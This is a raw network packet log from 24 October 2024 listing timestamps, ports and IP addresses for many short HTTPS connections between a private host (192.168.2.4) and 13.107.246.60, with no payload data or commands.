Oct 24, 2024 16:05:23.572324991 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.572335958 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.572346926 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.572352886 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.576088905 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.576183081 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.576282024 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.576459885 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.576481104 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.736068964 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.736705065 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.736721039 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.737380028 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.737386942 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.824815035 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.825345039 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.825366020 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.825908899 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.825912952 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.895263910 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.895648956 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.895848036 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.896879911 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.896914959 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.897058010 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.897067070 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.900187016 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.900230885 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.900338888 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.900504112 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.900516987 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.954138041 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.954201937 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.954274893 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.954525948 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.954545975 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.954555988 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.954561949 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.957565069 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.957655907 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.957788944 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.958010912 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.958048105 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.058939934 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.059401989 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.059415102 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.059988976 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.059993982 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.144094944 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.144521952 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.144541025 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.145237923 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.145243883 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.205691099 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.205848932 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.205913067 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.206084013 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.206098080 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.206108093 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.206111908 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.209728003 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.209747076 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.209887981 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.210088968 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.210100889 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.312907934 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.312990904 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.313047886 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.313277006 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.313294888 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.313337088 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.313344955 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.316667080 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.316699982 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.316809893 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.317039967 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.317060947 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.340246916 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.340797901 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.340858936 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.341336966 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.341351986 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.472879887 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.473131895 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.473227024 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.473381996 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.473382950 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.473428011 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.473455906 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.476803064 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.476840019 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.476943970 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.477116108 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.477129936 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.640726089 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.641418934 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.641446114 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.642062902 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.642072916 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.701502085 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.702241898 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.702271938 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.702982903 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.702991962 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.774087906 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.774244070 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.774306059 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.774615049 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.774636984 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.774650097 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.774657965 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.778074980 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.778105021 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.778393984 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.778393984 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.778429985 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.829516888 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.829875946 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.829974890 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.830024004 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.830045938 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.830063105 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.830070972 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.832953930 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.832978964 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.833051920 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.833245993 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.833260059 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.971641064 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.972229958 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.972275972 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:24.972834110 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:24.972842932 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.049030066 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.049675941 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.049700975 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.050339937 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.050348043 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.104253054 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.104372025 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.104573965 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.104629993 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.104650974 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.104661942 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.104667902 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.108230114 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.108283043 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.108351946 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.108534098 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.108549118 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.179131985 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.179284096 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.179371119 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.179503918 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.179503918 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.179522038 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.179531097 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.182895899 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.182966948 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.183299065 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.183505058 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.183541059 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.229696989 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.230233908 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.230249882 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.230611086 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.230616093 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.364818096 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.364975929 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.365047932 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.365153074 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.365166903 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.365176916 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.365180969 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.368069887 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.368109941 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.368176937 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.368338108 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.368352890 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.510839939 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.511358023 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.511369944 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.511888027 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.511894941 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.590501070 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.590986013 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.591012955 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.591372967 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.591379881 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.639413118 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.639774084 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.639874935 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.639906883 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.639925957 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.649399042 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.649492979 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.649593115 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.649939060 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.649977922 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.724806070 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.724940062 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.725033045 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.725161076 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.725161076 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.725198030 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.725223064 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.730241060 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.730328083 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:25.730407000 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.730722904 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:25.730755091 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.177367926 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.177979946 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.178020000 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.178978920 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.178997040 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.180123091 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.180690050 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.180732012 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.181601048 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.181607008 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.305419922 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.306293011 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.306334972 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.307256937 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.307265997 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.311491966 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.311595917 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.311755896 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.311923981 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.311949015 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.312017918 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.312026024 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.317047119 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.317089081 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.317163944 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.317768097 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.317789078 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.336711884 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.336913109 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.336968899 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.337204933 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.337223053 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.341484070 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.341573954 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.341655016 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.342092037 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.342124939 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.378329039 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.379076958 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.379106045 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.380162001 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.380173922 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.436758995 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.436920881 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.436988115 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.437412977 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.437433004 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.446573973 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.446607113 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.446743965 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.447062969 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.447078943 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.457771063 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.458280087 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.458307981 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.459095955 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.459106922 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.506817102 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.506968975 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.507033110 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.507392883 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.507394075 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.507440090 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.507466078 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.512129068 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.512173891 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.512243032 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.512439966 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.512461901 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.586505890 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.586654902 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.586718082 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.587007999 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.587064028 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.590172052 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.590183973 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:26.590437889 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.590656996 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:26.590668917 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.067994118 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.068495035 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.068562984 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.068690062 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.068963051 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.068978071 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.068998098 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.069031000 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.069443941 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.069451094 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.176676035 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.177473068 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.177503109 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.178066969 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.178076029 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.206892014 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.207032919 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.207094908 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.207169056 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.207258940 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.207282066 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.207298040 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.207305908 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.207309008 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.207370996 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.207639933 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.207659006 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.207676888 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.207684994 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.210297108 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.210345984 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.210418940 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.210599899 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.210608959 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.210622072 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.210628033 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.210685968 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.210798025 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.210809946 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.266432047 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.266855955 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.266897917 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.267297029 CEST	49821	443	192.168.2.4	13.107.246.60
